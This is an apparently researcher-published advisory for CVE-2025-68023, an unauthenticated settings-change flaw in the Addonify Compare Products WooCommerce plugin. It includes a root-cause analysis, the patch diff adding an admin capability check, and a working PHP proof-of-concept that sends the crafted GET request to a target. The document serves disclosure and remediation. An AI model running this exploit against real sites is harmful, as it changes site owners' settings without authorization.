Atomic Edge analysis of CVE-2025-68023:
The Addonify – Compare Products for WooCommerce plugin, up to version 1.1.17, contains a Missing Authorization vulnerability. This flaw allows unauthenticated attackers to modify plugin settings, directly impacting the plugin’s configuration and functionality.
Atomic Edge research identifies the root cause in the `process_user_tracking_choice` function within the file `/includes/udp/class-udp-agent.php`. The function handles a user tracking preference request via the `udp-agent-allow-access` GET parameter. Prior to version 1.1.18, the function performed no capability or authentication checks. Any HTTP request triggering this function could execute its logic, which updates plugin settings based on user input.
The exploitation vector is a direct HTTP GET request to the site’s homepage or any page where the plugin’s UDP agent logic is active. An attacker sends a request with the `udp-agent-allow-access` parameter set to either `yes` or `no`. For example, a request to `https://target.com/?udp-agent-allow-access=yes` would be processed by the vulnerable function, altering the plugin’s user tracking consent setting without requiring any authentication.
The patch in version 1.1.18 adds an authorization check at the beginning of the `process_user_tracking_choice` function. The fix verifies the user is both logged in (`is_user_logged_in()`) and possesses the `manage_options` capability (`current_user_can(‘manage_options’)`). If either check fails, the user is redirected to the homepage and the function execution halts. This change restricts endpoint access to administrators only, remediating the missing authorization flaw.
Successful exploitation allows an unauthenticated attacker to change plugin settings. The specific function controls user tracking preferences. An attacker could disable tracking or manipulate other related configuration values the function updates. This could disrupt expected plugin behavior, affect site analytics, or serve as a stepping stone in a broader attack chain by altering the plugin’s operational state.
--- a/addonify-compare-products/addonify-compare-products.php
+++ b/addonify-compare-products/addonify-compare-products.php
@@ -10,8 +10,8 @@
* Plugin Name: Addonify - Compare Products For WooCommerce
* Plugin URI: https://wordpress.org/plugins/addonify-compare-products/
* Description: Addonify Compare Products is a WooCommerce extension that allows website visitors to compare multiple products on your online store.
- * Version: 1.1.17
- * Tested up to: 6.8
+ * Version: 1.1.18
+ * Tested up to: 6.9.1
* Requires at least: 6.3
* Requires PHP: 7.4
* Author: Addonify
@@ -28,7 +28,7 @@
die;
}
-define( 'ADDONIFY_COMPARE_PRODUCTS_VERSION', '1.1.17' );
+define( 'ADDONIFY_COMPARE_PRODUCTS_VERSION', '1.1.18' );
define( 'ADDONIFY_COMPARE_PRODUCTS_BASENAME', plugin_basename( __FILE__ ) );
define( 'ADDONIFY_CP_DB_INITIALS', 'addonify_cp_' );
define( 'ADDONIFY_CP_PLUGIN_PATH', dirname( __FILE__ ) );
--- a/addonify-compare-products/includes/udp/class-udp-agent.php
+++ b/addonify-compare-products/includes/udp/class-udp-agent.php
@@ -172,6 +172,11 @@
* @since 1.0.0
*/
private function process_user_tracking_choice() {
+ // Verify if the user is logged in and has the capability to manage options.
+ if ( ! is_user_logged_in() || ! current_user_can( 'manage_options' ) ) {
+ wp_safe_redirect( home_url() );
+ exit;
+ }
$users_choice = isset( $_GET['udp-agent-allow-access'] ) ? sanitize_text_field( wp_unslash( $_GET['udp-agent-allow-access'] ) ) : ''; //phpcs:ignore
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68023 - Addonify – Compare Products For WooCommerce <= 1.1.17 - Missing Authorization to Unauthenticated Settings Update
<?php
$target_url = 'https://example.com/';
// The vulnerable parameter
$parameter = 'udp-agent-allow-access';
// Payload to set the user tracking choice. Expected values are 'yes' or 'no'.
$payload = 'yes';
// Construct the exploit URL
$exploit_url = $target_url . '?' . $parameter . '=' . urlencode($payload);
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Follow redirects to see the final response
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for cURL errors
if (curl_errno($ch)) {
echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
echo "Request sent to: $exploit_urln";
echo "HTTP Response Code: $http_coden";
// A successful exploitation attempt may result in a 200 OK or a redirect.
// The vulnerability is a logic flaw, so a non-error response often indicates the request was processed.
if ($http_code >= 200 && $http_code < 300) {
echo "Potential exploitation successful. Plugin settings may have been altered.n";
} else {
echo "Request may have been blocked or failed.n";
}
}
curl_close($ch);
?>
